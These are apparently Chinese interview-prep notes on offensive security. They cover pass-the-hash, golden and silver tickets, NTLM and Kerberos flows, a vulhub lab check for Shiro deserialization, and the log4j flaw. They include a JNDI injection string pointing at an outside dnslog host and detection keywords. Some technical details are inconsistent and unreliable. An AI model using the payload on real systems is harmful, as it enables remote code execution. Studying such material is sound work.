1、熟悉哪些域渗透的手段

​ 黄金票据、白银票据、哈希传递

2、详细说明哈希传递的攻击原理

哈希传递只针对相同密码进行攻击。

NTLM认证流程

NTLM加密：

• admin -> hex(16进制编码)= 61646d696e
• 61646d696e-> Unicode =610064006d0069006e00
• 610064006d0069006e00–>MD4=209c6174da490caeb422f3fa5a7ae634

认证过程：

注意:challenge每次认证都不一样，是一个随机生成的16字节随机数，response的形势与server生成的net-ntlm
hash一个格式

如上图，客户端client发送一个user用户名给服务器server，服务器从内存中检查它的用户名user是否存在，不存在，登录失败；存在，就生成一个challenge，然后服务器会查找内存中user对应的已经NTLM加密后的哈希密文（加密的是user的密码，假设是admin），并使用该哈希加密challenge（与challenge做逻辑运算），这个加密后的challenge就叫做net-ntlm hash，作为密码已经加密的标志保存到服务器内存中

然后服务器会将challenge发送给客户端，客户端将自己的密码转换成NTLM哈希，用生成的哈希加密challenge，这个加密后的challenge叫做response，然后客户端将response发送给服务器。

最后服务器对比自己内存中的net-ntlm hash与客户端发来的response是否一致，如果一致，就登录成功。

在这个过程中，即使response被攻击者捕获，也不能被伪造，保证了通信的安全。

哈希传递

当攻击者知道一台计算机的本地管理员的NTLM哈希，那么他可以使用这个哈希轻松地对该计算机进行身份验证。类似地，如果他拥有主机上本地管理组成员的域用户的NT哈希，他也可以作为本地管理员向该主机进行身份验证。

如下图，域中一台计算机沦陷，因为其他工作站都具有相同的管理员帐户和相同的密码，那么它们也将具有相同的NT哈希，攻击者就能用它的NTML哈希验证其他的服务器：

3、聊一下黄金票据和白银票据

黄金票据是伪造的TGT,白银票据就是伪造的ST。黄金票据是伪造了域管理员身份票据的TGT，白银票据伪造的是服务的票据ST，黄金票据可以访问它身份下的所有服务，白银票据只能访问被伪造服务票据ST的服务。

4、shiro反序列化漏洞的形成原因，尝试使用burp抓包查看返回包内容

形成原因：

Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie，在服务端接收cookie值后，Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化–>AES加密–>Base64编码，然后将其作为cookie的rememberMe字段发送，Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。

安装环境

进入vulhb目录下的weblogic，复现CVE-2018-2894漏洞：

cd /vulhub/shiro/CVE-2010-3863

查看docker-compose的配置文件：

cat docker-compose.yml

如图，里面有一个镜像文件的信息和服务名，以及它的端口号（后面要用）：

然后使用下面命令，搭建docker-compose并启动：

sudo docker-compose up -d && sudo docker-compose up -d

如图，安装成功：

漏洞验证

原理如下：

Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie，在服务端接收cookie值后，Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化–>AES加密–>Base64编码，然后将其作为cookie的rememberMe字段发送，Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。

用bp自带的浏览器打开http://10.9.75.45:8080/，随意输入用户名密码并勾选记住我

点击登录后抓包，发送到repeat模块，发现请求包中有rememberme字段：

点击send发送，响应包中有set-cookie字段，并有rememberMe=deleteMe内容，这是一个shiro反序列化漏洞的强特征，说明有极大的可能存在shiro反序列化：

5、log4j组件的命令执行漏洞是如何造成的

log4j（log for Java）是Apache的一个开源项目，是一个基于Java的日志记录框架。该漏洞的主要原因是log4j在日志输出中，未对字符合法性进行严格的限制，执行了JNDI协议加载的远程恶意脚本，从而造成RCE。

它是一个RCE命令执行的漏洞,它的日志的输出如下：print函数双引号中的内容会被当做字符处理

$user=$_GET("user");
log.print(“用户$user登录失败”);

如果print函数中出现如${jndi:ldap://lof4ot.dnslog.cn/exp}的内容，就会将大括号中的内容当做命令执行

如果流量中遇到下面三个关键字，极大可能是Java的漏洞攻击：

rmi、jndi、ldap

6、画图描述Kerberos协议的通信流程并解释如何实现安全的传输

DC（Domain Controller）：域控制器，是域中一台拥有最高管理权限的计算机

AD（Active Directory）：活动目录数据库

KDC（Key Distributed Centre）：包含了AS和TGS。

AS（Authentication Server）：身份验证服务，为客户生成TGT的服务

TGS（Ticket GrantingServer）：票证发放服务器，通过你的TGT来发放ST

TGT（Ticket Granting Ticket）：票据授权票据，通过票据授权票据可以获得一个票据，类似临时凭证

ST（Service Ticket）：服务票据

如下图，客户端首先向AS发送请求，AS提供TGT身份票据给客户端，客户端得到TGT后去访问TGS，由TGS发放服务票据ST，最后客户端用ST去访问服务端，服务端给客户端回应：

详解：

1、客户端发送自己的用户名给AS

2、AS验证用户名是否在白名单列表，如果在的话随机生成session key(as)返回如下信息

TGT1(session key(as),TGS服务器信息等)–客户端NTLM哈希加密

TGT2(session key(as),客户端信息等)–KRBTGT NTLM哈希加密（KRBTGT可以理解为DC中最高权限的用户）

3、用自己的NTLM哈希解密TGT1， 获得TGS服务器信息以及session key(as)，TGT2由于是别人的哈希，所以解不开。

生成认证因子(客户端信息，当前时间)–session key(as)加密（认证因子用来验证TGT是否正确）

发送认证因子以及TGT2给TGS服务

4、TGS服务先解密TGT2获得session key(as)，紧接着利用session key(as)解密认证因子，对比认证因子与TGT2的客户端信息是否一致，如果一致生成session key(TGS)，返回如下信息给客户端

TGT3(session key(TGS),服务器信息，票据到期时间)–session key(as)加密

TGT4(session key(TGS),客户端信息，票据到期时间)–客户端想要访问的服务器的哈希加密

5、客户端解密TGT3，得到session key(TGS)，服务器信息

生成认证因子2(服务器信息，票据到期时间)–session key(TGS)加密

发送认证因子2以及TGT4给服务器

6、服务器先用自己的哈希解密TGT4得到session key(TGS)，客户端信息，票据有效期

利用session key(TGS)解密认证因子对比客户端信息（验证ST是否正确）决定是否提供服务

以下图的邮件服务为例：

客户端向域控DC中的AS发送请求，AS生成一个session key（身份令牌），session key（as）分别保存在TGT1和TGT2两个身份票据做临时凭证中（其中TGT1用客户端的哈希加密，TGT2用最高管理用户的哈希加密），AS将session key（as）发给客户端，客户端用自己的NTLM哈希解密TGT1得到TGS服务器信息（TGT2无法被客户端解密），然后用session key（as）加密生成一个认证因子作为TGT2的证明。

然后客户端将认证因子以及TGT2发给TGS服务，TGS解密TGT2得到session key（as），解密认证因子并与认证因子做对比，如果一致则生成session key(TGS)，返回TGT3和TGT4给客户端，TG3被session key(as)加密，由于之前客户端接收到了session key（as），所以可以解密TGT3得到服务器信息，解密后客户端再次生成一个认证因子作为TGT4的证明。

最后客户端将认证因子及TGT4发送给邮件服务，邮件服务用哈希解密TGT4得到session key(TGS)，用它解密认证因子对比客户端信息，正确则提供服务。